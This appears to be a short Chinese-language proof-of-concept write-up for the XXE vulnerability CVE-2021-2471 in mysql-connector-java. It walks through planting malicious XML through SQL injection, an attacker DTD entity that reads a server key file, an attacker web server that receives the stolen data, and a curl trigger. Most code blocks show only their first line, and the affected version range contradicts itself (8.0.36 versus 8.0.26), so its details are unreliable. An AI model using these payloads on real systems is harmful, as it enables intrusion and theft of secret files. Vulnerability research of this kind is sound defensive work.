MySQL CVE-2021-2471 XXE POC
零、影响范围
| 1 | infected: mysql-connector-java <= 8.0.36 | 
一、非现实世界的POC
| 1 | public static final String connection_url = "jdbc:mysql://192.168.64.137:3306/sqlxmltest"; | 
二、现实世界的POC
1、建表
MySQL 中没有 SQLXML 类型,建表的时候选择字符串类型即可。
| 1 | create table RSS_FEEDS | 
2、初始化表数据
| 1 | INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) | 
3、读表
| 1 | (value = "/get/{rss_name}") | 
4、攻击者:通过SQL注入或者数据库访问来修改数据
| 1 | INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) | 
5、攻击者准备 dtd 文件
| 1 | <!ENTITY % file SYSTEM "file:///opt/security/rootkey/1.key"> | 
6、攻击者准备 web server
| 1 | python -m SimpleHTTPServer 8041 | 
7、攻击者触发漏洞
| 1 | curl -vv 'http://192.168.64.137:8080/get/READFILE' | 
8、攻击者的 web server收到 dtd 下载请求和 key 文件读取成功的报文
| 1 | python -m SimpleHTTPServer 8041 1 ⨯ | 
三、漏洞查找关键点
| 1 | mysql-connector-java-8.0.26.jar or lower version | 
| 1 | SQLXML sqlxml = resultSet.getSQLXML(2); | 
















































 
 











 
 

 
 
 
 













































 
  

































 
  
  
  
  
  
  
  
  
  
  
  
 







































